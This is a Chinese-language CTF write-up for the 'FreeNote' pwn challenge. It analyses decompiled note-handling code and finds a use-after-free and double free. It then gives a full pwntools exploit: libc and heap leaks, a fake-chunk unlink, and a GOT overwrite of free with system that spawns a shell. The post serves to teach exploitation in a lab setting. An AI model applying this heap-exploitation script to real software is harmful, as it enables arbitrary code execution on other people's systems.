美文网首页
【CTF-PWN】FreeNote

【CTF-PWN】FreeNote

作者: Kirin_say | 来源:发表于2018-09-21 23:22 被阅读163次

0x01 程序分析

这是一个记录note的程序:

./freenote
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 

在bss段全局变量note_addr记录堆中记录note的结构体的开始地址:

  v0 = malloc(0x1810uLL);
  note_addr = (__int64)v0;

new

int new()
{
  __int64 v0; // rax
  void *v1; // ST18_8
  int i; // [rsp+Ch] [rbp-14h]
  int v4; // [rsp+10h] [rbp-10h]

  if ( *(_QWORD *)(note_addr + 8) < *(_QWORD *)note_addr )
  {
    for ( i = 0; ; ++i )
    {
      v0 = *(_QWORD *)note_addr;
      if ( (signed __int64)i >= *(_QWORD *)note_addr )
        break;
      if ( !*(_QWORD *)(note_addr + 24LL * i + 16) )
      {
        printf("Length of new note: ");
        v4 = number();
        if ( v4 > 0 )
        {
          if ( v4 > 4096 )
            v4 = 0x1000;
          v1 = malloc((128 - v4 % 128) % 128 + v4);
          printf("Enter your note: ");
          sub_40085D((__int64)v1, v4);
          *(_QWORD *)(note_addr + 24LL * i + 16) = 1LL;
          *(_QWORD *)(note_addr + 24LL * i + 24) = v4;
          *(_QWORD *)(note_addr + 24LL * i + 32) = v1;
          ++*(_QWORD *)(note_addr + 8);
          LODWORD(v0) = puts("Done.");
        }

可以得到程序的数据结构:

note_addr->heap
*note_addr=0x100->max_note_number
*(note_addr+8)=note_number
note_struct{
    flag;//标记是否使用
    length;//max_length=0x1000
    addr;//malloc_note_addr
};

同时注意到malloc:

v1 = malloc((128 - v4 % 128) % 128 + v4);

类似malloc的对齐操作:

#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

只不过进行了128对齐:

len<128 ? malloc(128):malloc(len%128==0? [len/128]*128,([len/128]+1)*128)

delete

int delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( *(_QWORD *)(note_addr + 8) <= 0LL )
    return puts("No notes yet.");
  printf("Note number: ");
  v1 = number();
  if ( v1 < 0 || (signed __int64)v1 >= *(_QWORD *)note_addr )
    return puts("Invalid number!");
  --*(_QWORD *)(note_addr + 8);
  *(_QWORD *)(note_addr + 24LL * v1 + 16) = 0LL;
  *(_QWORD *)(note_addr + 24LL * v1 + 24) = 0LL;
  free(*(void **)(note_addr + 24LL * v1 + 32));
  return puts("Done.");
}

将flag和length清零,而后free掉addr,没有置空指针,存在UAF
而且delete只检验了:

 v1 < 0 || (signed __int64)v1 >= *(_QWORD *)note_addr 

存在double free

edit

int edit()
{
  __int64 v1; // rbx
  int v2; // [rsp+4h] [rbp-1Ch]
  int v3; // [rsp+8h] [rbp-18h]

  printf("Note number: ");
  v3 = number();
  if ( v3 < 0 || (signed __int64)v3 >= *(_QWORD *)note_addr || *(_QWORD *)(note_addr + 24LL * v3 + 16) != 1LL )
    return puts("Invalid number!");
  printf("Length of note: ");
  v2 = number();
  if ( v2 <= 0 )
    return puts("Invalid length!");
  if ( v2 > 4096 )
    v2 = 4096;
  if ( v2 != *(_QWORD *)(note_addr + 24LL * v3 + 24) )
  {
    v1 = note_addr;
    *(_QWORD *)(v1 + 24LL * v3 + 32) = realloc(*(void **)(note_addr + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2);
    *(_QWORD *)(note_addr + 24LL * v3 + 24) = v2;
  }
  printf("Enter your note: ");
  sub_40085D(*(_QWORD *)(note_addr + 24LL * v3 + 32), v2);
  return puts("Done.");
}

注意到修改时的realloc操作:

*(_QWORD *)(v1 + 24LL * v3 + 32) = realloc(*(void **)(note_addr + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2);

0x02 漏洞

leak libc

new(8,"a"*7)
new(8,"a"*7)
delete(0)
new(8,"a"*7)
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78

leak heap

new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
delete(0)
delete(2)
new(8,"a"*7)
new(8,"a"*7)
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("0. aaaaaaa\n")
heap_addr=u64(p.recv(4).ljust(8,"\x00"))
p.recvuntil("2. aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78

Double free && unlink

开始构造的chunk:

delete(3)
delete(2)
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60+p64(0x80)+p64(0x90)
new(len(fake_chunk),fake_chunk)
delete(3)

报错:

double free or corruption (out)

而后在fake chunk后添加了两个chunk后unlink成功(猜测是与top chunk合并或者进入fastbin的问题,而且构造0x50时会直接进入了fastbin,0x80就会先处于unsorted bin,这些问题有待解决)

delete(3)
delete(2)
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60+p64(0x80)+p64(0x90)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80
delete(3)

查看保存note结构体的chunk:

pwndbg> heap
0x20b9000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x1821, 
  fd = 0x100, 
  bk = 0x2, 
  fd_nextsize = 0x1, 
  bk_nextsize = 0x8
}

pwndbg> x/100gx 0x20b9000
0x20b9000:  0x0000000000000000  0x0000000000001821
0x20b9010:  0x0000000000000100  0x0000000000000002
0x20b9020:  0x0000000000000001  0x0000000000000008
0x20b9030:  0x00000000020ba830  0x0000000000000001
0x20b9040:  0x0000000000000008  0x00000000020ba8c0
0x20b9050:  0x0000000000000001  0x0000000000000230
0x20b9060:  0x00000000020b9048  0x0000000000000000
0x20b9070:  0x0000000000000000  0x00000000020ba9e0
0x20b9080:  0x0000000000000000  0x0000000000000000
0x20b9090:  0x0000000000000000  0x0000000000000000
......

可以看到unlink成功,note[2]的addr已被改为指向比自己低0x18的地方,即note[1]的addr
而后我们edit(2)即可修改note[1]结构体addr处及其后面的所有值
(注意edit时要输入的length和note[2].length一致,防止其进行realloc)
我们将note[1].addr修改为free的got地址,再edit(1),将free的got地址处修改为system_addr,最后delete一个储存内容为"/bin/sh"的note结构体即会执行system("/bin/sh")

system("/bin/sh")

edit(2,0x230,p64(elf.got['free'])+p64(0)*0x228)
edit(1,0x8,p64(libc.symbols['system']))
delete(0)

0x03 EXP

from pwn import *

#context.log_level = 'debug'
p=process("./freenote")
elf=ELF("./freenote")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def new(length,note):
    p.recvuntil("choice: ")
    p.sendline("2")
    p.recvuntil("note: ")
    p.sendline(str(length))
    p.recvuntil("note: ")
    p.sendline(note)

def edit(num,length,note):
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("number: ")
    p.sendline(str(num))
    p.recvuntil("note: ")
    p.sendline(str(length))
    p.recvuntil("note: ")
    p.sendline(note)


def delete(num):
    p.recvuntil("choice: ")
    p.sendline("4")
    p.recvuntil("number: ")
    p.sendline(str(num))


new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
delete(0)
delete(2)
new(8,"/bin/sh")
new(8,"a"*7)
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("0. /bin/sh\n")
heap_addr=u64(p.recvuntil("\n").strip().ljust(8,"\x00"))-0x1940
p.recvuntil("2. aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
delete(3)
delete(2)
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60+p64(0x80)+p64(0x90)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80
new(len(fake_chunk),fake_chunk)
delete(3)
edit(2,0x230,p64(elf.got['free'])+p64(0)*0x228)
edit(1,0x8,p64(libc.symbols['system']))
delete(0)
p.interactive()

相关文章

网友评论

      本文标题:【CTF-PWN】FreeNote

      本文链接:https://www.haomeiwen.com/subject/wkjinftx.html